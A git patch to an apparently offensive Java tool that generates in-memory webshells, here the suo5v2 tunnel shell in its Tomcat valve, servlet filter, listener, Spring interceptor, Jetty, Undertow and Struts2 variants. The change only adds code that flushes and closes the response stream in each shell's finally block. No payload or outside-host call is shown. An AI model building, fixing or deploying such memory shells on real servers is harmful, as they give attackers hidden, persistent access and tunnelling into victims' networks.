From 52f82d7979b9e0e598f0d5448011f6c6bda63834 Mon Sep 17 00:00:00 2001 From: zema1 Date: Sun, 14 Dec 2025 18:23:24 +0800 Subject: [PATCH] fix: close response outputstream in suo5v2 --- .../reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java | 6 +++++- .../memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java | 6 +++++- .../javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java | 6 +++++- .../memshell/shelltool/suo5v2/Suo5v2Interceptor.java | 6 +++++- .../memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java | 6 +++++- .../memshell/shelltool/suo5v2/Suo5v2JettyHandler.java | 6 +++++- .../javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java | 6 +++++- .../javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java | 6 +++++- .../memshell/shelltool/suo5v2/Suo5v2Struct2Action.java | 6 +++++- .../shelltool/suo5v2/Suo5v2UndertowServletHandler.java | 6 +++++- .../javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java | 6 +++++- 11 files changed, 55 insertions(+), 11 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java index 530588b7..8f1791af 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2.java @@ -183,7 +183,11 @@ public class Suo5v2 implements Runnable, HostnameVerifier, X509TrustManager { } } catch (Throwable ignored) { } finally { - + try { + OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + out.flush(); + out.close(); + } catch (Throwable ignore) {} } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java index 54635837..6fa3eb28 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2ControllerHandler.java @@ -162,7 +162,11 @@ public class Suo5v2ControllerHandler implements Controller, Runnable, HostnameVe } } catch (Throwable e) { } finally { - + try { + OutputStream out = resp.getOutputStream(); + out.flush(); + out.close(); + } catch (Throwable ignored) {} } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java index 1197eaa2..e22d9111 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Filter.java @@ -167,7 +167,11 @@ public class Suo5v2Filter implements Filter, Runnable, HostnameVerifier, X509Tru } } catch (Throwable e) { } finally { - + try { + OutputStream out = resp.getOutputStream(); + out.flush(); + out.close(); + } catch (Throwable ignored) {} } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java index 4921c7e8..7361ca41 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Interceptor.java @@ -179,7 +179,11 @@ public class Suo5v2Interceptor implements AsyncHandlerInterceptor, Runnable, Hos } } catch (Throwable e) { } finally { - + try { + OutputStream out = resp.getOutputStream(); + out.flush(); + out.close(); + } catch (Throwable ignored) {} } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java index 6c2cf151..0067c18f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyCustomizer.java @@ -216,7 +216,11 @@ public class Suo5v2JettyCustomizer implements HttpConfiguration.Customizer, Runn } } catch (Throwable ignored) { } finally { - + try { + OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + out.flush(); + out.close(); + } catch (Throwable ignore) {} } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java index 8e9fe59e..da3cdb79 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2JettyHandler.java @@ -178,7 +178,11 @@ public class Suo5v2JettyHandler implements Runnable, HostnameVerifier, X509Trust } } catch (Throwable e) { } finally { - + try { + OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + out.flush(); + out.close(); + } catch (Throwable ignored) {} } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java index e9e08d4a..b1607882 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Listener.java @@ -173,7 +173,11 @@ public class Suo5v2Listener implements ServletRequestListener, Runnable, Hostnam } } catch (Throwable e) { } finally { - + try { + OutputStream out = resp.getOutputStream(); + out.flush(); + out.close(); + } catch (Throwable ignored) {} } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java index 162866df..9ae026b7 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Servlet.java @@ -161,7 +161,11 @@ public class Suo5v2Servlet implements Servlet, Runnable, HostnameVerifier, X509T } } catch (Throwable e) { } finally { - + try { + OutputStream out = resp.getOutputStream(); + out.flush(); + out.close(); + } catch (Throwable ignored) {} } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java index bdd7f6f2..eb03a380 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java @@ -164,7 +164,11 @@ public class Suo5v2Struct2Action implements Runnable, HostnameVerifier, X509Trus } } catch (Throwable e) { } finally { - + try { + OutputStream out = resp.getOutputStream(); + out.flush(); + out.close(); + } catch (Throwable ignored) {} } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java index 6c439dc7..b3b5fede 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2UndertowServletHandler.java @@ -164,7 +164,11 @@ public class Suo5v2UndertowServletHandler implements Runnable, HostnameVerifier, } } catch (Throwable e) { } finally { - + try { + OutputStream out = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + out.flush(); + out.close(); + } catch (Throwable ignored) {} } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java index ad16c7a1..45b492d8 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Valve.java @@ -167,7 +167,11 @@ public class Suo5v2Valve implements Valve, Runnable, HostnameVerifier, X509Trust } } catch (Throwable e) { } finally { - + try { + OutputStream out = resp.getOutputStream(); + out.flush(); + out.close(); + } catch (Throwable ignored) {} } }